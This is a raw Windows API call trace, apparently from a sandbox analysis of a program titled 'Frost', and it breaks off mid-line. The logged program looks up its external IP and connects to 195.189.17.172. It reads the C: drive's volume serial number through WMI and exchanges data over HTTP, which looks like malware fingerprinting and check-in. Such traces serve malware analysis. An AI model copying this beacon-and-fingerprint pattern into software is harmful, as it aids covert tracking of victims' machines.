[0060.021] CoTaskMemFree (pv=0x131d0b0) [0060.083] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x580 [0060.085] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x558 [0060.086] GetAddrInfoW (in: pNodeName="ipv4bot.whatismyipaddress.com", pServiceName=0x0, pHints=0x10fdce8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x10fdc30 | out: ppResult=0x10fdc30*=0x1ec0d9c0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ipv4bot.whatismyipaddress.com", ai_addr=0x1ec07930*(sa_family=2, sin_port=0x0, sin_addr="66.171.248.178"), ai_next=0x0)) returned 0 [0060.602] FreeAddrInfoW (pAddrInfo=0x1ec0d9c0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ipv4bot.whatismyipaddress.com", ai_addr=0x1ec07930*(sa_family=2, sin_port=0x0, sin_addr="66.171.248.178"), ai_next=0x0)) [0060.608] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x588 [0060.608] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x590 [0060.608] ioctlsocket (in: s=0x588, cmd=-2147195266, argp=0x10fdc58 | out: argp=0x10fdc58) returned 0 [0060.608] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x594 [0060.608] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x598 [0060.608] ioctlsocket (in: s=0x594, cmd=-2147195266, argp=0x10fdc58 | out: argp=0x10fdc58) returned 0 [0060.608] WSAIoctl (in: s=0x588, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x10fdbe0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x10fdbe0, lpOverlapped=0x0) returned -1 [0060.608] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x10fd7c0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0060.609] WSAEventSelect (s=0x588, hEventObject=0x590, lNetworkEvents=512) returned 0 [0060.609] WSAIoctl (in: s=0x594, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x10fdbe0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x10fdbe0, lpOverlapped=0x0) returned -1 [0060.609] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x10fd7c0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0060.609] WSAEventSelect (s=0x594, hEventObject=0x598, lNetworkEvents=512) returned 0 [0060.609] GetAdaptersAddresses () returned 0x6f [0060.614] LocalAlloc (uFlags=0x0, uBytes=0x960) returned 0x1ec0f9e0 [0060.614] GetAdaptersAddresses () returned 0x0 [0060.621] LocalFree (hMem=0x1ec0f9e0) returned 0x0 [0060.629] WSAConnect (in: s=0x580, name=0x3004ad0*(sa_family=2, sin_port=0x50, sin_addr="66.171.248.178"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0060.821] closesocket (s=0x558) returned 0 [0060.839] send (s=0x580, buf=0x3005c08*, len=79, flags=0) returned 79 [0060.850] setsockopt (s=0x580, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0060.851] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 168 [0061.056] setsockopt (s=0x580, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0061.059] SetEvent (hEvent=0x344) returned 1 [0061.060] shutdown (s=0x580, how=2) returned 0 [0061.061] closesocket (s=0x580) returned 0 [0061.081] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe178 | out: lpPerformanceCount=0x10fe178*=15225550197) returned 1 [0061.081] SetEvent (hEvent=0x344) returned 1 [0061.081] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdc50*=0x3dc, lpdwindex=0x10fda24 | out: lpdwindex=0x10fda24) returned 0x80010115 [0061.082] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdc00*=0x3d0, lpdwindex=0x10fd9d4 | out: lpdwindex=0x10fd9d4) returned 0x80010115 [0061.082] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdc00*=0x3d8, lpdwindex=0x10fd9d4 | out: lpdwindex=0x10fd9d4) returned 0x80010115 [0061.082] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcd0*=0x3fc, lpdwindex=0x10fdaa4 | out: lpdwindex=0x10fdaa4) returned 0x80010115 [0061.083] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcd0*=0x408, lpdwindex=0x10fdaa4 | out: lpdwindex=0x10fdaa4) returned 0x80010115 [0061.083] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcd0*=0x410, lpdwindex=0x10fdaa4 | out: lpdwindex=0x10fdaa4) returned 0x80010115 [0061.084] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcb0*=0x590, lpdwindex=0x10fda84 | out: lpdwindex=0x10fda84) returned 0x80010115 [0061.084] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcb0*=0x598, lpdwindex=0x10fda84 | out: lpdwindex=0x10fda84) returned 0x80010115 [0061.085] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x580 [0061.085] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x558 [0061.087] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fd9f0*=0x590, lpdwindex=0x10fd7c4 | out: lpdwindex=0x10fd7c4) returned 0x80010115 [0061.087] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fd9f0*=0x598, lpdwindex=0x10fd7c4 | out: lpdwindex=0x10fd7c4) returned 0x80010115 [0061.088] WSAConnect (in: s=0x580, name=0x300c788*(sa_family=2, sin_port=0x50, sin_addr="195.189.17.172"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0061.185] closesocket (s=0x558) returned 0 [0061.185] send (s=0x580, buf=0x3005c08*, len=78, flags=0) returned 78 [0061.185] setsockopt (s=0x580, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0061.185] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 579 [0061.312] setsockopt (s=0x580, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0061.316] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 910 [0061.749] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x558 [0061.753] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x59c [0061.767] SetEvent (hEvent=0x59c) returned 1 [0061.768] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x10fe180*=0x558, lpdwindex=0x10fdf54 | out: lpdwindex=0x10fdf54) returned 0x0 [0062.257] CoGetContextToken (in: pToken=0x10fdfc0 | out: pToken=0x10fdfc0) returned 0x0 [0062.257] CoGetContextToken (in: pToken=0x10fdec0 | out: pToken=0x10fdec0) returned 0x0 [0062.257] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305d10, riid=0x10fe020*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x10fdff0 | out: ppvObject=0x10fdff0*=0x1305d10) returned 0x0 [0062.257] WbemDefPath:IUnknown:AddRef (This=0x1305d10) returned 0x3 [0062.257] WbemDefPath:IUnknown:Release (This=0x1305d10) returned 0x2 [0062.260] WbemDefPath:IWbemPath:SetText (This=0x1305d10, uMode=0x4, pszPath="win32_logicaldisk.deviceid=\"C:\"") returned 0x0 [0062.262] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305d10, puCount=0x10fe3d0 | out: puCount=0x10fe3d0*=0x0) returned 0x0 [0062.262] WbemDefPath:IWbemPath:GetText (in: This=0x1305d10, lFlags=2, puBuffLength=0x10fe3c8*=0x0, pszText=0x0 | out: puBuffLength=0x10fe3c8*=0x20, pszText=0x0) returned 0x0 [0062.262] WbemDefPath:IWbemPath:GetText (in: This=0x1305d10, lFlags=2, puBuffLength=0x10fe3c8*=0x20, pszText="0000000000000000000000000000000" | out: puBuffLength=0x10fe3c8*=0x20, pszText="win32_logicaldisk.deviceid=\"C:\"") returned 0x0 [0062.262] WbemDefPath:IWbemPath:GetInfo (in: This=0x1305d10, uRequestedInfo=0x0, puResponse=0x10fe3e8 | out: puResponse=0x10fe3e8*=0xc19) returned 0x0 [0062.262] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305d10, puCount=0x10fe3d0 | out: puCount=0x10fe3d0*=0x0) returned 0x0 [0062.263] WbemDefPath:IWbemPath:GetInfo (in: This=0x1305d10, uRequestedInfo=0x0, puResponse=0x10fe3e8 | out: puResponse=0x10fe3e8*=0xc19) returned 0x0 [0062.263] WbemDefPath:IWbemPath:GetInfo (in: This=0x1305d10, uRequestedInfo=0x0, puResponse=0x10fe3e8 | out: puResponse=0x10fe3e8*=0xc19) returned 0x0 [0062.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305d10, puCount=0x10fe320 | out: puCount=0x10fe320*=0x0) returned 0x0 [0062.268] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5ec [0062.268] SetEvent (hEvent=0x59c) returned 1 [0062.268] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x10fd140*=0x5ec, lpdwindex=0x10fcf14 | out: lpdwindex=0x10fcf14) returned 0x0 [0062.270] CoGetContextToken (in: pToken=0x10fcf80 | out: pToken=0x10fcf80) returned 0x0 [0062.270] CoGetContextToken (in: pToken=0x10fce80 | out: pToken=0x10fce80) returned 0x0 [0062.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305b90, riid=0x10fcfe0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x10fcfb0 | out: ppvObject=0x10fcfb0*=0x1305b90) returned 0x0 [0062.270] WbemDefPath:IUnknown:AddRef (This=0x1305b90) returned 0x3 [0062.270] WbemDefPath:IUnknown:Release (This=0x1305b90) returned 0x2 [0062.270] WbemDefPath:IWbemPath:SetText (This=0x1305b90, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0062.270] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305b90, puCount=0x10fe2e0 | out: puCount=0x10fe2e0*=0x2) returned 0x0 [0062.271] WbemDefPath:IWbemPath:GetText (in: This=0x1305b90, lFlags=4, puBuffLength=0x10fe2d8*=0x0, pszText=0x0 | out: puBuffLength=0x10fe2d8*=0xf, pszText=0x0) returned 0x0 [0062.271] WbemDefPath:IWbemPath:GetText (in: This=0x1305b90, lFlags=4, puBuffLength=0x10fe2d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x10fe2d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.271] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5f0 [0062.271] SetEvent (hEvent=0x59c) returned 1 [0062.271] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x10fe030*=0x5f0, lpdwindex=0x10fde04 | out: lpdwindex=0x10fde04) returned 0x0 [0062.272] CoGetContextToken (in: pToken=0x10fde70 | out: pToken=0x10fde70) returned 0x0 [0062.272] CoGetContextToken (in: pToken=0x10fdd70 | out: pToken=0x10fdd70) returned 0x0 [0062.273] WbemDefPath:IUnknown:QueryInterface (in: This=0x1305890, riid=0x10fded0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x10fdea0 | out: ppvObject=0x10fdea0*=0x1305890) returned 0x0 [0062.273] WbemDefPath:IUnknown:AddRef (This=0x1305890) returned 0x3 [0062.273] WbemDefPath:IUnknown:Release (This=0x1305890) returned 0x2 [0062.273] WbemDefPath:IWbemPath:SetText (This=0x1305890, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0062.273] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305890, puCount=0x10fe250 | out: puCount=0x10fe250*=0x2) returned 0x0 [0062.273] WbemDefPath:IWbemPath:GetText (in: This=0x1305890, lFlags=4, puBuffLength=0x10fe248*=0x0, pszText=0x0 | out: puBuffLength=0x10fe248*=0xf, pszText=0x0) returned 0x0 [0062.273] WbemDefPath:IWbemPath:GetText (in: This=0x1305890, lFlags=4, puBuffLength=0x10fe248*=0xf, pszText="00000000000000" | out: puBuffLength=0x10fe248*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.309] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x10fe0a8*=0x604, lpdwindex=0x10fde34 | out: lpdwindex=0x10fde34) returned 0x0 [0064.319] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305d10, puCount=0x10fe3e0 | out: puCount=0x10fe3e0*=0x0) returned 0x0 [0064.319] WbemDefPath:IWbemPath:GetText (in: This=0x1305d10, lFlags=2, puBuffLength=0x10fe3d8*=0x0, pszText=0x0 | out: puBuffLength=0x10fe3d8*=0x20, pszText=0x0) returned 0x0 [0064.319] WbemDefPath:IWbemPath:GetText (in: This=0x1305d10, lFlags=2, puBuffLength=0x10fe3d8*=0x20, pszText="0000000000000000000000000000000" | out: puBuffLength=0x10fe3d8*=0x20, pszText="win32_logicaldisk.deviceid=\"C:\"") returned 0x0 [0064.319] WbemDefPath:IWbemPath:GetText (in: This=0x1305d10, lFlags=2, puBuffLength=0x10fe3e8*=0x0, pszText=0x0 | out: puBuffLength=0x10fe3e8*=0x20, pszText=0x0) returned 0x0 [0064.319] WbemDefPath:IWbemPath:GetText (in: This=0x1305d10, lFlags=2, puBuffLength=0x10fe3e8*=0x20, pszText="0000000000000000000000000000000" | out: puBuffLength=0x10fe3e8*=0x20, pszText="win32_logicaldisk.deviceid=\"C:\"") returned 0x0 [0064.343] CoGetContextToken (in: pToken=0x10fdf10 | out: pToken=0x10fdf10) returned 0x0 [0064.343] CoGetContextToken (in: pToken=0x10fde10 | out: pToken=0x10fde10) returned 0x0 [0064.343] CoGetContextToken (in: pToken=0x10fde10 | out: pToken=0x10fde10) returned 0x0 [0064.344] CoGetContextToken (in: pToken=0x10fdd30 | out: pToken=0x10fdd30) returned 0x0 [0064.344] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff91233efb0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x10fdbd0 | out: ppvObject=0x10fdbd0*=0x12e64f0) returned 0x0 [0064.344] CObjectContext::ContextCallback () returned 0x0 [0064.348] BeginPaint (in: hWnd=0x80076, lpPaint=0x10fc208 | out: lpPaint=0x10fc208) returned 0x60100ce [0064.348] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fbc60 | out: lpwndpl=0x10fbc60) returned 1 [0064.348] GetClientRect (in: hWnd=0x80076, lpRect=0x10fbb80 | out: lpRect=0x10fbb80) returned 1 [0064.348] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0064.348] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0064.348] GetSystemMetrics (nIndex=42) returned 0 [0064.348] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fb8e0, nMaxCount=6 | out: lpString="Frost") returned 5 [0064.348] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fb8e0) returned 0x5 [0064.348] GetClientRect (in: hWnd=0x80076, lpRect=0x10fb948 | out: lpRect=0x10fb948) returned 1 [0064.349] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0064.349] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0064.349] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x5f05077b [0064.349] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0064.350] SaveDC (hdc=0x60100ce) returned 1 [0064.350] GetNearestColor (hdc=0x60100ce, color=0xf0f0f0) returned 0xf0f0f0 [0064.350] CreateSolidBrush (color=0xf0f0f0) returned 0x18100715 [0064.350] FillRect (hDC=0x60100ce, lprc=0x10fb630, hbr=0x18100715) returned 1 [0064.351] DeleteObject (ho=0x18100715) returned 1 [0064.351] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0064.352] GdipCreateHalftonePalette () returned 0x7308065c [0064.357] SelectPalette (hdc=0x60100ce, hPal=0x7308065c, bForceBkgd=1) returned 0x88000b [0064.357] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0064.357] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0064.357] GetSystemMetrics (nIndex=42) returned 0 [0064.357] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fc0a0, nMaxCount=6 | out: lpString="Frost") returned 5 [0064.357] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fc0a0) returned 0x5 [0064.357] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x7308065c [0064.357] EndPaint (hWnd=0x80076, lpPaint=0x10fc1a8) returned 1 [0064.369] IUnknown:Release (This=0x12e64f0) returned 0x1 [0064.370] CoUnmarshalInterface (in: pStm=0x1ec2b170, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x10fde10 | out: ppv=0x10fde10*=0x1ec20fd0) returned 0x0 [0064.370] CoMarshalInterface (pStm=0x1ec2b170, riid=0x7ff9122ea830*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1ec20fd0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0064.371] WbemLocator:IUnknown:QueryInterface (in: This=0x1ec20fd0, riid=0x10fdf70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x10fdf40 | out: ppvObject=0x10fdf40*=0x1ec01810) returned 0x0 [0064.372] WbemLocator:IUnknown:Release (This=0x1ec20fd0) returned 0x1 [0064.373] IWbemServices:GetObject (in: This=0x1ec01810, strObjectPath="win32_logicaldisk.deviceid=\"C:\"", lFlags=0, pCtx=0x0, ppObject=0x10fe370*=0x0, ppCallResult=0x0 | out: ppObject=0x10fe370*=0x1ec34e40, ppCallResult=0x0) returned 0x0 [0064.576] WbemLocator:IUnknown:Release (This=0x1ec01810) returned 0x0 [0064.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1305890, puCount=0x10fe330 | out: puCount=0x10fe330*=0x2) returned 0x0 [0064.578] WbemDefPath:IWbemPath:GetText (in: This=0x1305890, lFlags=4, puBuffLength=0x10fe328*=0x0, pszText=0x0 | out: puBuffLength=0x10fe328*=0xf, pszText=0x0) returned 0x0 [0064.578] WbemDefPath:IWbemPath:GetText (in: This=0x1305890, lFlags=4, puBuffLength=0x10fe328*=0xf, pszText="00000000000000" | out: puBuffLength=0x10fe328*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0064.580] IWbemClassObject:Get (in: This=0x1ec34e40, wszName="VolumeSerialNumber", lFlags=0, pVal=0x10fe2f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x301a9a0*=0, plFlavor=0x301a9a4*=0 | out: pVal=0x10fe2f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="B4197730", varVal2=0x0), pType=0x301a9a0*=8, plFlavor=0x301a9a4*=0) returned 0x0 [0064.582] SysStringByteLen (bstr="B4197730") returned 0x10 [0064.582] SysStringByteLen (bstr="B4197730") returned 0x10 [0064.582] IWbemClassObject:Get (in: This=0x1ec34e40, wszName="VolumeSerialNumber", lFlags=0, pVal=0x10fe340*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x301a9a0*=8, plFlavor=0x301a9a4*=0 | out: pVal=0x10fe340*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="B4197730", varVal2=0x0), pType=0x301a9a0*=8, plFlavor=0x301a9a4*=0) returned 0x0 [0064.582] SysStringByteLen (bstr="B4197730") returned 0x10 [0064.582] SysStringByteLen (bstr="B4197730") returned 0x10 [0064.590] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe238 | out: lpPerformanceCount=0x10fe238*=15576521217) returned 1 [0064.591] SetEvent (hEvent=0x344) returned 1 [0064.591] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd10*=0x3dc, lpdwindex=0x10fdae4 | out: lpdwindex=0x10fdae4) returned 0x80010115 [0064.591] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcc0*=0x3d0, lpdwindex=0x10fda94 | out: lpdwindex=0x10fda94) returned 0x80010115 [0064.591] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcc0*=0x3d8, lpdwindex=0x10fda94 | out: lpdwindex=0x10fda94) returned 0x80010115 [0064.592] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd90*=0x3fc, lpdwindex=0x10fdb64 | out: lpdwindex=0x10fdb64) returned 0x80010115 [0064.592] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd90*=0x408, lpdwindex=0x10fdb64 | out: lpdwindex=0x10fdb64) returned 0x80010115 [0064.592] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd90*=0x410, lpdwindex=0x10fdb64 | out: lpdwindex=0x10fdb64) returned 0x80010115 [0064.594] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x654 [0064.594] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x658 [0064.595] WSAConnect (in: s=0x654, name=0x302c798*(sa_family=2, sin_port=0x50, sin_addr="66.171.248.178"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0064.778] closesocket (s=0x658) returned 0 [0064.779] send (s=0x654, buf=0x3005c08*, len=55, flags=0) returned 55 [0064.779] setsockopt (s=0x654, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0064.779] recv (in: s=0x654, buf=0x2ffee10, len=4096, flags=0 | out: buf=0x2ffee10*) returned 168 [0064.964] setsockopt (s=0x654, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0064.965] shutdown (s=0x654, how=2) returned 0 [0064.965] closesocket (s=0x654) returned 0 [0064.965] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe308 | out: lpPerformanceCount=0x10fe308*=15614025633) returned 1 [0064.966] SetEvent (hEvent=0x344) returned 1 [0064.966] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdde0*=0x3dc, lpdwindex=0x10fdbb4 | out: lpdwindex=0x10fdbb4) returned 0x80010115 [0064.966] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd90*=0x3d0, lpdwindex=0x10fdb64 | out: lpdwindex=0x10fdb64) returned 0x80010115 [0064.966] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd90*=0x3d8, lpdwindex=0x10fdb64 | out: lpdwindex=0x10fdb64) returned 0x80010115 [0064.967] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fde60*=0x3fc, lpdwindex=0x10fdc34 | out: lpdwindex=0x10fdc34) returned 0x80010115 [0064.967] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fde60*=0x408, lpdwindex=0x10fdc34 | out: lpdwindex=0x10fdc34) returned 0x80010115 [0064.967] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fde60*=0x410, lpdwindex=0x10fdc34 | out: lpdwindex=0x10fdc34) returned 0x80010115 [0064.970] select (in: nfds=0, readfds=0x302f190, writefds=0x0, exceptfds=0x0, timeout=0x10fe158 | out: readfds=0x302f190, writefds=0x0, exceptfds=0x0) returned 0 [0064.972] send (s=0x580, buf=0x3005c08*, len=50, flags=0) returned 50 [0064.972] setsockopt (s=0x580, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0064.972] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 4096 [0065.090] setsockopt (s=0x580, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0065.090] recv (in: s=0x580, buf=0x3040f3b, len=4316, flags=0 | out: buf=0x3040f3b*) returned 3104 [0065.090] recv (in: s=0x580, buf=0x3040010, len=1212, flags=0 | out: buf=0x3040010*) returned 1212 [0065.181] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 4096 [0065.181] recv (in: s=0x580, buf=0x3041008, len=338, flags=0 | out: buf=0x3041008*) returned 338 [0065.181] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 7 [0065.246] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe238 | out: lpPerformanceCount=0x10fe238*=15642063308) returned 1 [0065.249] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd00*=0x3dc, lpdwindex=0x10fdad4 | out: lpdwindex=0x10fdad4) returned 0x80010115 [0065.250] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcb0*=0x3d0, lpdwindex=0x10fda84 | out: lpdwindex=0x10fda84) returned 0x80010115 [0065.250] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcb0*=0x3d8, lpdwindex=0x10fda84 | out: lpdwindex=0x10fda84) returned 0x80010115 [0065.250] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd80*=0x3fc, lpdwindex=0x10fdb54 | out: lpdwindex=0x10fdb54) returned 0x80010115 [0065.251] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, 